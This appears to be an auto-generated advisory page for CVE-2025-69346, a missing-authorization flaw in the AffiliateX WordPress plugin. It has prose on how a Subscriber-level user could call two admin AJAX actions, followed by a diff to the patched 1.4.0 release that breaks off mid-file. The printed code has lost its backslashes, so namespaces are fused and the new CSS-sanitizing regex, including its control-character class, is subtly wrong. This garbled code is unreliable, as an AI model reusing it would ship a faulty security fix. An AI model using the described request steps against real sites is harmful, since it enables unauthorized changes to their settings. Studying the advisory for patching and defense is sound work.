Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-69346: AffiliateX <= 1.3.9.3 – Missing Authorization (affiliatex)

Plugin affiliatex
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.3.9.3
Patched Version 1.4.0
Disclosed January 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69346:
The AffiliateX WordPress plugin contains a missing authorization vulnerability in versions up to 1.3.9.3. The plugin fails to verify user capabilities before processing certain AJAX requests, allowing authenticated attackers with Subscriber-level access to perform administrative actions. This vulnerability has a CVSS score of 4.3 (Medium severity).

The root cause lies in the `save_block_settings()` and `save_customization_settings()` functions within `/affiliatex/includes/functions/AjaxFunctions.php`. Both functions check for a valid nonce via `check_ajax_referer()` but lack any capability verification before processing POST data. The vulnerable code executes at lines 68-70 and 102-104 respectively, where the functions directly process user-submitted data without confirming the user has administrative privileges.

Exploitation requires an authenticated attacker with any WordPress user role (including Subscriber) to send a crafted POST request to `/wp-admin/admin-ajax.php`. The attacker must include the correct nonce value (which Subscribers can obtain from legitimate plugin pages) and set the `action` parameter to either `affiliatex_save_block_settings` or `affiliatex_save_customization_settings`. The request must contain serialized settings data in the `data` POST parameter that the plugin processes without authorization checks.

The patch adds capability checks to both vulnerable functions in version 1.4.0. The fix inserts `if ( ! current_user_can( ‘manage_options’ ) )` conditionals at lines 70-72 and 106-108 in `AjaxFunctions.php`. These checks ensure only users with the `manage_options` capability (typically Administrators) can execute the functions. The patch maintains the existing nonce verification while adding the missing authorization layer.

Successful exploitation allows attackers with minimal privileges to modify plugin settings and block configurations. While the vulnerability does not directly enable remote code execution, unauthorized changes to affiliate product displays, Amazon API configurations, or content rendering settings could impact site functionality and revenue streams. Attackers could manipulate affiliate links or inject malicious content through legitimate plugin interfaces.

Differential between vulnerable and patched code

Code Diff
--- a/affiliatex/affiliatex.php
+++ b/affiliatex/affiliatex.php
@@ -8,13 +8,11 @@
  * Author URI:      https://affiliatexblocks.com
  * Text Domain:     affiliatex
  * Domain Path:     /languages
- * Version:         1.3.9.3
+ * Version:         1.4.0
  * Requires at least: 5.8
  * Requires PHP:      7.4
  *
  * @package         AffiliateX
- * @fs_ignore /vendor
- * @fs_premium_only /pro
  */
 use AffiliateXAffiliateX;
 defined( 'ABSPATH' ) || exit;
@@ -59,6 +57,7 @@
         do_action( 'affiliatex_fs_loaded' );
     }
     require_once __DIR__ . '/vendor/autoload.php';
+    require_once __DIR__ . '/vendor/woocommerce/action-scheduler/action-scheduler.php';
     if ( !defined( 'AFFILIATEX_PLUGIN_FILE' ) ) {
         define( 'AFFILIATEX_PLUGIN_FILE', __FILE__ );
     }
@@ -69,7 +68,7 @@
         define( 'AFFILIATEX_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
     }
     if ( !defined( 'AFFILIATEX_VERSION' ) ) {
-        define( 'AFFILIATEX_VERSION', '1.3.9.3' );
+        define( 'AFFILIATEX_VERSION', '1.4.0' );
     }
     if ( !defined( 'AFFILIATEX_EXTERNAL_API_ENDPOINT' ) ) {
         define( 'AFFILIATEX_EXTERNAL_API_ENDPOINT', 'https://affiliatexblocks.com' );
--- a/affiliatex/build/blockComponents.asset.php
+++ b/affiliatex/build/blockComponents.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => '04d3194a06efc447c65a');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => 'e48186191c3dcdcf1d9f');
--- a/affiliatex/build/blocks/notice/index.asset.php
+++ b/affiliatex/build/blocks/notice/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => 'f292a66f83d3fb98fbc8');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '1fd02bbdebfb847f718a');
--- a/affiliatex/build/blocks/product-comparison/index.asset.php
+++ b/affiliatex/build/blocks/product-comparison/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '51abc4aa0eb3099c7dcf');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '866c5a5fe37c5ab5e0f3');
--- a/affiliatex/build/editorCSS.asset.php
+++ b/affiliatex/build/editorCSS.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '59d755aaaf548601c3ea');
+<?php return array('dependencies' => array(), 'version' => '7a10ff1949d061f94bbf');
--- a/affiliatex/includes/AffiliateXAdmin.php
+++ b/affiliatex/includes/AffiliateXAdmin.php
@@ -160,7 +160,6 @@
             'isAmazonActive'        => ( $amazon_config->is_active() ? 'true' : 'false' ),
             'connectAllButton'      => WidgetHelper::get_connect_all_button_html(),
             'templateLibraryButton' => WidgetHelper::get_template_library_button_html(),
-            'spinnerHtml'           => WidgetHelper::get_spinner_html(),
             'hasElementorTemplates' => ( AffiliateXTemplateLibrary::instance()->has_elementor_templates() ? 'true' : 'false' ),
             'ajax_nonce'            => wp_create_nonce( 'affiliatex_ajax_nonce' ),
         ) );
--- a/affiliatex/includes/AffiliateXTemplateLibrary.php
+++ b/affiliatex/includes/AffiliateXTemplateLibrary.php
@@ -38,6 +38,11 @@
 	const TEMPLATE_LIBRARY_DOMAIN = 'https://affiliatexblocks.com';

 	/**
+	 * Transient key to store template auto fetch cooldown flag.
+	 */
+	const AUTOFETCH_TRANSIENT_KEY = 'affiliatex_template_auto_fetch_cooldown';
+
+	/**
 	 * Main Instance.
 	 */
 	public static function instance() {
@@ -52,22 +57,34 @@
 	 */
 	public function __construct() {
 		add_action( 'init', array( $this, 'schedule_template_update' ) );
+		add_action( 'init', array( $this, 'maybe_fetch_missing_templates' ) );
 		add_action( 'affiliatex_daily_template_update', array( $this, 'update_template_library' ) );
 		add_action( 'wp_ajax_nopriv_get_template_library', array( $this, 'get_template_library' ) );
 		add_action( 'wp_ajax_get_template_library', array( $this, 'get_template_library' ) );

 		// Elementor template endpoints
 		add_action( 'wp_ajax_get_elementor_template_library', array( $this, 'get_elementor_template_library' ) );
+	}
+
+	/**
+	 * Check if templates exist, if not fetch them immediately (rate-limited to once per hour).
+	 */
+	public function maybe_fetch_missing_templates() {
+		$recently_fetched = get_transient( self::AUTOFETCH_TRANSIENT_KEY );
+
+		if ( $recently_fetched ) {
+			return;
+		}

-		// Check if templates exist, if not fetch them immediately
 		if ( empty( get_option( self::TEMPLATE_OPTION_KEY ) ) ) {
 			$this->update_template_library();
 		}

-		// Check if Elementor templates exist, if not fetch them immediately
-		if ( empty( get_option( self::ELEMENTOR_TEMPLATE_OPTION_KEY ) ) && defined( 'AFFILIATEX_ELEMENTOR_TEMPLATE' ) ) {
+		if ( empty( get_option( self::ELEMENTOR_TEMPLATE_OPTION_KEY ) ) ) {
 			$this->update_elementor_template_library();
 		}
+
+		set_transient( self::AUTOFETCH_TRANSIENT_KEY, true, HOUR_IN_SECONDS );
 	}

 	/**
--- a/affiliatex/includes/amazon/api/AmazonApiBase.php
+++ b/affiliatex/includes/amazon/api/AmazonApiBase.php
@@ -63,6 +63,15 @@
 	}

 	/**
+	 * Get request timeout in seconds
+	 *
+	 * @return int
+	 */
+	protected function get_request_timeout(): int {
+		return 30;
+	}
+
+	/**
 	 * Get API headers
 	 *
 	 * @return array
@@ -175,7 +184,7 @@
 				'method'    => 'POST',
 				'headers'   => $headers,
 				'sslverify' => false,
-				'timeout'   => 30,
+				'timeout'   => $this->get_request_timeout(),
 			);

 			$request_args['body'] = $this->get_payload();
--- a/affiliatex/includes/elementor/widgets/NoticeWidget.php
+++ b/affiliatex/includes/elementor/widgets/NoticeWidget.php
@@ -102,6 +102,7 @@
 					'h4' => __( 'Heading 4 (h4)', 'affiliatex' ),
 					'h5' => __( 'Heading 5 (h5)', 'affiliatex' ),
 					'h6' => __( 'Heading 6 (h6)', 'affiliatex' ),
+					'p'  => __( 'Paragraph (p)', 'affiliatex' ),
 				),
 			)
 		);
--- a/affiliatex/includes/elementor/widgets/ProductComparisonWidget.php
+++ b/affiliatex/includes/elementor/widgets/ProductComparisonWidget.php
@@ -158,11 +158,12 @@
 				'type'      => Controls_Manager::SELECT,
 				'default'   => 'h2',
 				'options'   => array(
-					'h2' => __( 'Heading (H2)', 'affiliatex' ),
-					'h3' => __( 'Heading (H3)', 'affiliatex' ),
-					'h4' => __( 'Heading (H4)', 'affiliatex' ),
-					'h5' => __( 'Heading (H5)', 'affiliatex' ),
-					'h6' => __( 'Heading (H6)', 'affiliatex' ),
+					'h2' => __( 'Heading 2 (h2)', 'affiliatex' ),
+					'h3' => __( 'Heading 3 (h3)', 'affiliatex' ),
+					'h4' => __( 'Heading 4 (h4)', 'affiliatex' ),
+					'h5' => __( 'Heading 5 (h5)', 'affiliatex' ),
+					'h6' => __( 'Heading 6 (h6)', 'affiliatex' ),
+					'p'  => __( 'Paragraph (p)', 'affiliatex' ),
 				),
 				'condition' => array(
 					'pcTitle' => 'true',
--- a/affiliatex/includes/functions/AjaxFunctions.php
+++ b/affiliatex/includes/functions/AjaxFunctions.php
@@ -68,6 +68,10 @@
 	public function save_block_settings() {
 		check_ajax_referer( 'affiliatex_ajax_nonce', 'security' );

+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( __( 'You do not have permission to perform this action.', 'affiliatex' ) );
+		}
+
 		$data = array();

 		if ( isset( $_POST['data'] ) ) {
@@ -102,6 +106,10 @@
 	public function save_customization_settings() {
 		check_ajax_referer( 'affiliatex_ajax_nonce', 'security' );

+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( __( 'You do not have permission to perform this action.', 'affiliatex' ) );
+		}
+
 		$data = array();

 		if ( isset( $_POST['data'] ) ) {
--- a/affiliatex/includes/functions/HelperFunctions.php
+++ b/affiliatex/includes/functions/HelperFunctions.php
@@ -222,9 +222,10 @@
 		'productTable'             => 'affiliatex/product-table',
 		'productComparison'        => 'affiliatex/product-comparison',
 		'ratingBox'                => 'affiliatex/rating-box',
+		'dynamicListing'           => 'affiliatex/dynamic-listing',
 	);

-	$pro_blocks = array( 'singleProductProsAndCons', 'productImageButton', 'singleCoupon', 'couponGrid', 'productTabs', 'couponListing', 'topProducts', 'versus', 'ratingBox' );
+	$pro_blocks = array( 'singleProductProsAndCons', 'productImageButton', 'singleCoupon', 'couponGrid', 'productTabs', 'couponListing', 'topProducts', 'versus', 'ratingBox', 'dynamicListing' );

 	$license_activated = affiliatex_fs()->is__premium_only();

--- a/affiliatex/includes/helpers/class-affiliatex-helpers.php
+++ b/affiliatex/includes/helpers/class-affiliatex-helpers.php
@@ -32,10 +32,11 @@
 				}

 				if ( ! empty( $val ) ) {
+					$sanitized_val = self::sanitize_css_value( $val );
 					if ( 'font-family' === $j ) {
-						$css .= $j . ': "' . $val . '";';
+						$css .= $j . ': "' . $sanitized_val . '";';
 					} else {
-						$css .= $j . ': ' . $val . ';';
+						$css .= $j . ': ' . $sanitized_val . ';';
 					}
 				}
 			}
@@ -51,6 +52,25 @@
 	}

 	/**
+	 * Sanitize a CSS value to prevent XSS.
+	 *
+	 * @param string $value The CSS value to sanitize.
+	 * @return string Sanitized CSS value.
+	 * @since 1.3.9.4
+	 */
+	public static function sanitize_css_value( $value ) {
+		if ( ! is_string( $value ) ) {
+			return $value;
+		}
+
+		$value = wp_strip_all_tags( $value );
+		$value = preg_replace( '/[<>"']/', '', $value );
+		$value = preg_replace( '/[x00-x1Fx7F]/', '', $value );
+
+		return $value;
+	}
+
+	/**
 	 * Get CSS value
 	 *
 	 * Syntax:
--- a/affiliatex/includes/helpers/elementor/WidgetHelper.php
+++ b/affiliatex/includes/helpers/elementor/WidgetHelper.php
@@ -307,21 +307,6 @@
 	}

 	/**
-	 * Get Search button HTML.
-	 *
-	 * @return string
-	 */
-	public static function get_spinner_html(): string {
-		return <<<'SPINNER'
-		<svg class="affx-spinner" width="48" height="48" viewBox="0 0 24 24" fill="none"
-			xmlns="http://www.w3.org/2000/svg" style="width:100%; height:100%;">
-			<circle cx="12" cy="12" r="10" stroke="#FFFFFF" stroke-opacity="0.25" stroke-width="2"></circle>
-			<path d="M12 2a10 10 0 0 1 10 10" stroke="#FFFFFF" stroke-width="2" stroke-linecap="round"></path>
-		</svg>
-		SPINNER;
-	}
-
-	/**
 	 * Get Template Library button HTML.
 	 *
 	 * @return string
--- a/affiliatex/includes/migration/MigrationManager.php
+++ b/affiliatex/includes/migration/MigrationManager.php
@@ -5,6 +5,7 @@
 defined( 'ABSPATH' ) || exit;

 use AffiliateXMigrationMigrationsRemoveNoticeLayout3;
+use AffiliateXMigrationMigrationsClearOldCronJobs;

 /**
  * Migration Manager Class
@@ -27,6 +28,7 @@
 		try {
 			$migrations = array(
 				RemoveNoticeLayout3::class,
+				ClearOldCronJobs::class,
 			);

 			foreach ( $migrations as $migration_class ) {
--- a/affiliatex/includes/migration/migrations/ClearOldCronJobs.php
+++ b/affiliatex/includes/migration/migrations/ClearOldCronJobs.php
@@ -0,0 +1,30 @@
+<?php
+
+namespace AffiliateXMigrationMigrations;
+
+defined( 'ABSPATH' ) || exit;
+
+use AffiliateXMigrationMigration;
+
+/**
+ * Migration to clear old WP-Cron jobs before switching to Action Scheduler.
+ *
+ * @package AffiliateXMigrationMigrations
+ */
+class ClearOldCronJobs extends Migration {
+	/**
+	 * The version this migration targets.
+	 */
+	protected static function get_version() {
+		return '1.4.0';
+	}
+
+	/**
+	 * Run the migration logic.
+	 */
+	protected static function run() {
+		wp_clear_scheduled_hook( 'affiliatex_sync_amazon_products' );
+		wp_clear_scheduled_hook( 'affiliatex_sync_product_listings' );
+		wp_clear_scheduled_hook( 'affiliatex_cleanup_product_listings' );
+	}
+}
--- a/affiliatex/includes/traits/ButtonRenderTrait.php
+++ b/affiliatex/includes/traits/ButtonRenderTrait.php
@@ -224,7 +224,7 @@
 						),
 						'default'    => array(
 							'unit' => 'px',
-							'size' => 20,
+							'size' => 18,
 						),
 						'condition'  => array(
 							'edButtonIcon' => 'yes',
@@ -340,8 +340,11 @@
 								'toggle'  => false,
 							),
 							'color'          => array(
-								'label'   => __( 'Background Hover Color', 'affiliatex' ),
-								'default' => AffiliateX_Customization_Helper::get_value( 'btnHoverColor', '#084ACA' ),
+								'label'     => __( 'Background Hover Color', 'affiliatex' ),
+								'default'   => AffiliateX_Customization_Helper::get_value( 'btnHoverColor', '#084ACA' ),
+								'selectors' => array(
+									'{{WRAPPER}} .affiliatex-button:hover' => 'background-color: {{VALUE}}; background-image: none;',
+								),
 							),
 							'color_b'        => array(
 								'default' => '#A9B8C3',
@@ -621,7 +624,7 @@
 		if ( isset( $settings['button_url'] ) ) {
 			$this->add_link_attributes( $button_id, $settings['button_url'] );
 		} elseif ( isset( $settings['buttonURL'] ) && ! empty( $settings['buttonURL'] ) ) {
-			$this->add_render_attribute( $button_id, 'href', apply_filters( 'affiliatex_button_url', esc_url( $settings['buttonURL'] ) ) );
+			$this->add_render_attribute( $button_id, 'href', apply_filters( 'affiliatex_button_url', esc_url( do_shortcode( $settings['buttonURL'] ) ) ) );
 		}

 		// Add classes using the shared method
@@ -700,14 +703,14 @@
 		if ( isset( $elementorLinkAttributes ) ) {
 			$link_attributes = $elementorLinkAttributes;
 		} elseif ( $tag === 'a' ) {
-				$link_attributes = sprintf(
-					'href="%s" class="%s" rel="%s" %s %s',
-					esc_url( do_shortcode( $buttonURL ) ),
-					esc_attr( $classNames ),
-					esc_attr( $rel ),
-					esc_html( $target ),
-					esc_html( $download ? ' download' : '' )
-				);
+			$link_attributes = sprintf(
+				'href="%s" class="%s" rel="%s" %s %s',
+				apply_filters( 'affiliatex_button_url', esc_url( do_shortcode( $buttonURL ?? '' ) ) ),
+				esc_attr( $classNames ),
+				esc_attr( $rel ),
+				esc_html( $target ),
+				esc_html( $download ? ' download' : '' )
+			);
 		} else {
 			$link_attributes = sprintf(
 				'class="%s"',
--- a/affiliatex/vendor/composer/autoload_classmap.php
+++ b/affiliatex/vendor/composer/autoload_classmap.php
@@ -54,6 +54,7 @@
     'AffiliateX\Helpers\ResponseHelper' => $baseDir . '/includes/helpers/ResponseHelper.php',
     'AffiliateX\Migration\Migration' => $baseDir . '/includes/migration/Migration.php',
     'AffiliateX\Migration\MigrationManager' => $baseDir . '/includes/migration/MigrationManager.php',
+    'AffiliateX\Migration\Migrations\ClearOldCronJobs' => $baseDir . '/includes/migration/migrations/ClearOldCronJobs.php',
     'AffiliateX\Migration\Migrations\RemoveNoticeLayout3' => $baseDir . '/includes/migration/migrations/RemoveNoticeLayout3.php',
     'AffiliateX\Notice\AdminNoticeManager' => $baseDir . '/includes/notice/AdminNoticeManager.php',
     'AffiliateX\Notice\CampaignNotice' => $baseDir . '/includes/notice/CampaignNotice.php',
@@ -87,7 +88,9 @@
     'AffiliateX_Pro\Amazon\Api\AmazonApiProduct' => $baseDir . '/pro/includes/amazon/api/AmazonApiProduct.php',
     'AffiliateX_Pro\Amazon\Api\AmazonApiSearch' => $baseDir . '/pro/includes/amazon/api/AmazonApiSearch.php',
     'AffiliateX_Pro\Amazon\Api\AmazonSearchIndex' => $baseDir . '/pro/includes/amazon/api/AmazonSearchIndex.php',
+    'AffiliateX_Pro\Amazon\Cron\AmazonCleanupController' => $baseDir . '/pro/includes/amazon/cron/AmazonCleanupController.php',
     'AffiliateX_Pro\Amazon\Cron\AmazonSyncController' => $baseDir . '/pro/includes/amazon/cron/AmazonSyncController.php',
+    'AffiliateX_Pro\Amazon\Dynamic_Listing\Geolocation' => $baseDir . '/pro/includes/amazon/dynamic-listing/Geolocation.php',
     'AffiliateX_Pro\Blocks\BaseProBlock' => $baseDir . '/pro/includes/blocks/BaseProBlock.php',
     'AffiliateX_Pro\Blocks\CouponGridBlock' => $baseDir . '/pro/includes/blocks/CouponGridBlock.php',
     'AffiliateX_Pro\Blocks\CouponListingBlock' => $baseDir . '/pro/includes/blocks/CouponListingBlock.php',
@@ -110,6 +113,7 @@
     'AffiliateX_Pro\Elementor\Widgets\SingleProductProsAndConsWidget' => $baseDir . '/pro/includes/elementor/widgets/SingleProductProsAndConsWidget.php',
     'AffiliateX_Pro\Elementor\Widgets\TopProductsWidget' => $baseDir . '/pro/includes/elementor/widgets/TopProductsWidget.php',
     'AffiliateX_Pro\Elementor\Widgets\VersusWidget' => $baseDir . '/pro/includes/elementor/widgets/VersusWidget.php',
+    'AffiliateX_Pro\Helpers\AmazonHelper' => $baseDir . '/pro/includes/helpers/AmazonHelper.php',
     'AffiliateX_Pro\Helpers\DbHelper' => $baseDir . '/pro/includes/helpers/DbHelper.php',
     'AffiliateX_Pro\Helpers\ShortcodeBuilderHelper' => $baseDir . '/pro/includes/helpers/ShortcodeBuilderHelper.php',
     'AffiliateX_Pro\Traits\CouponGridRenderTrait' => $baseDir . '/pro/includes/traits/CouponGridRenderTrait.php',
--- a/affiliatex/vendor/composer/autoload_psr4.php
+++ b/affiliatex/vendor/composer/autoload_psr4.php
@@ -12,6 +12,7 @@
     'AffiliateX_Pro\Elementor\Widgets\' => array($baseDir . '/pro/includes/elementor/widgets'),
     'AffiliateX_Pro\Elementor\' => array($baseDir . '/pro/includes/elementor'),
     'AffiliateX_Pro\Blocks\' => array($baseDir . '/pro/includes/blocks'),
+    'AffiliateX_Pro\Amazon\Dynamic_Listing\' => array($baseDir . '/pro/includes/amazon/dynamic-listing'),
     'AffiliateX_Pro\Amazon\Cron\' => array($baseDir . '/pro/includes/amazon/cron'),
     'AffiliateX_Pro\Amazon\Api\' => array($baseDir . '/pro/includes/amazon/api'),
     'AffiliateX_Pro\Amazon\Admin\' => array($baseDir . '/pro/includes/amazon/admin'),
--- a/affiliatex/vendor/composer/autoload_static.php
+++ b/affiliatex/vendor/composer/autoload_static.php
@@ -11,7 +11,7 @@
     );

     public static $prefixLengthsPsr4 = array (
-        'A' =>
+        'A' =>
         array (
             'AffiliateX_Pro\Updater\' => 23,
             'AffiliateX_Pro\Traits\' => 22,
@@ -19,6 +19,7 @@
             'AffiliateX_Pro\Elementor\Widgets\' => 33,
             'AffiliateX_Pro\Elementor\' => 25,
             'AffiliateX_Pro\Blocks\' => 22,
+            'AffiliateX_Pro\Amazon\Dynamic_Listing\' => 38,
             'AffiliateX_Pro\Amazon\Cron\' => 27,
             'AffiliateX_Pro\Amazon\Api\' => 26,
             'AffiliateX_Pro\Amazon\Admin\' => 28,
@@ -42,103 +43,107 @@
     );

     public static $prefixDirsPsr4 = array (
-        'AffiliateX_Pro\Updater\' =>
+        'AffiliateX_Pro\Updater\' =>
         array (
             0 => __DIR__ . '/../..' . '/pro/includes/updater',
         ),
-        'AffiliateX_Pro\Traits\' =>
+        'AffiliateX_Pro\Traits\' =>
         array (
             0 => __DIR__ . '/../..' . '/pro/includes/traits',
         ),
-        'AffiliateX_Pro\Helpers\' =>
+        'AffiliateX_Pro\Helpers\' =>
         array (
             0 => __DIR__ . '/../..' . '/pro/includes/helpers',
         ),
-        'AffiliateX_Pro\Elementor\Widgets\' =>
+        'AffiliateX_Pro\Elementor\Widgets\' =>
         array (
             0 => __DIR__ . '/../..' . '/pro/includes/elementor/widgets',
         ),
-        'AffiliateX_Pro\Elementor\' =>
+        'AffiliateX_Pro\Elementor\' =>
         array (
             0 => __DIR__ . '/../..' . '/pro/includes/elementor',
         ),
-        'AffiliateX_Pro\Blocks\' =>
+        'AffiliateX_Pro\Blocks\' =>
         array (
             0 => __DIR__ . '/../..' . '/pro/includes/blocks',
         ),
-        'AffiliateX_Pro\Amazon\Cron\' =>
+        'AffiliateX_Pro\Amazon\Dynamic_Listing\' =>
+        array (
+            0 => __DIR__ . '/../..' . '/pro/includes/amazon/dynamic-listing',
+        ),
+        'AffiliateX_Pro\Amazon\Cron\' =>
         array (
             0 => __DIR__ . '/../..' . '/pro/includes/amazon/cron',
         ),
-        'AffiliateX_Pro\Amazon\Api\' =>
+        'AffiliateX_Pro\Amazon\Api\' =>
         array (
             0 => __DIR__ . '/../..' . '/pro/includes/amazon/api',
         ),
-        'AffiliateX_Pro\Amazon\Admin\' =>
+        'AffiliateX_Pro\Amazon\Admin\' =>
         array (
             0 => __DIR__ . '/../..' . '/pro/includes/amazon/admin',
         ),
-        'AffiliateX_Pro\Amazon\' =>
+        'AffiliateX_Pro\Amazon\' =>
         array (
             0 => __DIR__ . '/../..' . '/pro/includes/amazon',
         ),
-        'AffiliateX_Pro\' =>
+        'AffiliateX_Pro\' =>
         array (
             0 => __DIR__ . '/../..' . '/pro/includes',
         ),
-        'AffiliateX\Traits\' =>
+        'AffiliateX\Traits\' =>
         array (
             0 => __DIR__ . '/../..' . '/includes/traits',
         ),
-        'AffiliateX\Notice\' =>
+        'AffiliateX\Notice\' =>
         array (
             0 => __DIR__ . '/../..' . '/includes/notice',
         ),
-        'AffiliateX\Migration\Migrations\' =>
+        'AffiliateX\Migration\Migrations\' =>
         array (
             0 => __DIR__ . '/../..' . '/includes/migration/migrations',
         ),
-        'AffiliateX\Migration\' =>
+        'AffiliateX\Migration\' =>
         array (
             0 => __DIR__ . '/../..' . '/includes/migration',
         ),
-        'AffiliateX\Helpers\Elementor\' =>
+        'AffiliateX\Helpers\Elementor\' =>
         array (
             0 => __DIR__ . '/../..' . '/includes/helpers/elementor',
         ),
-        'AffiliateX\Helpers\' =>
+        'AffiliateX\Helpers\' =>
         array (
             0 => __DIR__ . '/../..' . '/includes/helpers',
         ),
-        'AffiliateX\Elementor\Widgets\' =>
+        'AffiliateX\Elementor\Widgets\' =>
         array (
             0 => __DIR__ . '/../..' . '/includes/elementor/widgets',
         ),
-        'AffiliateX\Elementor\Controls\' =>
+        'AffiliateX\Elementor\Controls\' =>
         array (
             0 => __DIR__ . '/../..' . '/includes/elementor/controls',
         ),
-        'AffiliateX\Elementor\' =>
+        'AffiliateX\Elementor\' =>
         array (
             0 => __DIR__ . '/../..' . '/includes/elementor',
         ),
-        'AffiliateX\Blocks\' =>
+        'AffiliateX\Blocks\' =>
         array (
             0 => __DIR__ . '/../..' . '/includes/blocks',
         ),
-        'AffiliateX\Amazon\Api\' =>
+        'AffiliateX\Amazon\Api\' =>
         array (
             0 => __DIR__ . '/../..' . '/includes/amazon/api',
         ),
-        'AffiliateX\Amazon\Admin\' =>
+        'AffiliateX\Amazon\Admin\' =>
         array (
             0 => __DIR__ . '/../..' . '/includes/amazon/admin',
         ),
-        'AffiliateX\Amazon\' =>
+        'AffiliateX\Amazon\' =>
         array (
             0 => __DIR__ . '/../..' . '/includes/amazon',
         ),
-        'AffiliateX\' =>
+        'AffiliateX\' =>
         array (
             0 => __DIR__ . '/../..' . '/includes',
         ),
@@ -193,6 +198,7 @@
         'AffiliateX\Helpers\ResponseHelper' => __DIR__ . '/../..' . '/includes/helpers/ResponseHelper.php',
         'AffiliateX\Migration\Migration' => __DIR__ . '/../..' . '/includes/migration/Migration.php',
         'AffiliateX\Migration\MigrationManager' => __DIR__ . '/../..' . '/includes/migration/MigrationManager.php',
+        'AffiliateX\Migration\Migrations\ClearOldCronJobs' => __DIR__ . '/../..' . '/includes/migration/migrations/ClearOldCronJobs.php',
         'AffiliateX\Migration\Migrations\RemoveNoticeLayout3' => __DIR__ . '/../..' . '/includes/migration/migrations/RemoveNoticeLayout3.php',
         'AffiliateX\Notice\AdminNoticeManager' => __DIR__ . '/../..' . '/includes/notice/AdminNoticeManager.php',
         'AffiliateX\Notice\CampaignNotice' => __DIR__ . '/../..' . '/includes/notice/CampaignNotice.php',
@@ -226,7 +232,9 @@
         'AffiliateX_Pro\Amazon\Api\AmazonApiProduct' => __DIR__ . '/../..' . '/pro/includes/amazon/api/AmazonApiProduct.php',
         'AffiliateX_Pro\Amazon\Api\AmazonApiSearch' => __DIR__ . '/../..' . '/pro/includes/amazon/api/AmazonApiSearch.php',
         'AffiliateX_Pro\Amazon\Api\AmazonSearchIndex' => __DIR__ . '/../..' . '/pro/includes/amazon/api/AmazonSearchIndex.php',
+        'AffiliateX_Pro\Amazon\Cron\AmazonCleanupController' => __DIR__ . '/../..' . '/pro/includes/amazon/cron/AmazonCleanupController.php',
         'AffiliateX_Pro\Amazon\Cron\AmazonSyncController' => __DIR__ . '/../..' . '/pro/includes/amazon/cron/AmazonSyncController.php',
+        'AffiliateX_Pro\Amazon\Dynamic_Listing\Geolocation' => __DIR__ . '/../..' . '/pro/includes/amazon/dynamic-listing/Geolocation.php',
         'AffiliateX_Pro\Blocks\BaseProBlock' => __DIR__ . '/../..' . '/pro/includes/blocks/BaseProBlock.php',
         'AffiliateX_Pro\Blocks\CouponGridBlock' => __DIR__ . '/../..' . '/pro/includes/blocks/CouponGridBlock.php',
         'AffiliateX_Pro\Blocks\CouponListingBlock' => __DIR__ . '/../..' . '/pro/includes/blocks/CouponListingBlock.php',
@@ -249,6 +257,7 @@
         'AffiliateX_Pro\Elementor\Widgets\SingleProductProsAndConsWidget' => __DIR__ . '/../..' . '/pro/includes/elementor/widgets/SingleProductProsAndConsWidget.php',
         'AffiliateX_Pro\Elementor\Widgets\TopProductsWidget' => __DIR__ . '/../..' . '/pro/includes/elementor/widgets/TopProductsWidget.php',
         'AffiliateX_Pro\Elementor\Widgets\VersusWidget' => __DIR__ . '/../..' . '/pro/includes/elementor/widgets/VersusWidget.php',
+        'AffiliateX_Pro\Helpers\AmazonHelper' => __DIR__ . '/../..' . '/pro/includes/helpers/AmazonHelper.php',
         'AffiliateX_Pro\Helpers\DbHelper' => __DIR__ . '/../..' . '/pro/includes/helpers/DbHelper.php',
         'AffiliateX_Pro\Helpers\ShortcodeBuilderHelper' => __DIR__ . '/../..' . '/pro/includes/helpers/ShortcodeBuilderHelper.php',
         'AffiliateX_Pro\Traits\CouponGridRenderTrait' => __DIR__ . '/../..' . '/pro/includes/traits/CouponGridRenderTrait.php',
--- a/affiliatex/vendor/composer/installed.php
+++ b/affiliatex/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'wpcenter/affiliatex',
-        'pretty_version' => '1.3.9.3',
-        'version' => '1.3.9.3',
-        'reference' => 'fcaec4657b5423637659e5ab57e9fbd066d5294f',
+        'pretty_version' => '1.4.0',
+        'version' => '1.4.0.0',
+        'reference' => '5042e2a5f9a817b781340edf43ffb0da5dc39787',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,18 +11,27 @@
     ),
     'versions' => array(
         'freemius/wordpress-sdk' => array(
-            'pretty_version' => '2.12.2',
-            'version' => '2.12.2.0',
-            'reference' => '241fbfc91151f85d8ebeb75343caf29bda1d3208',
+            'pretty_version' => '2.13.0',
+            'version' => '2.13.0.0',
+            'reference' => '3cbe98b5bd0b0fb5ca4df97b8088592737ea4375',
             'type' => 'library',
             'install_path' => __DIR__ . '/../freemius/wordpress-sdk',
             'aliases' => array(),
             'dev_requirement' => false,
         ),
+        'woocommerce/action-scheduler' => array(
+            'pretty_version' => '3.9.3',
+            'version' => '3.9.3.0',
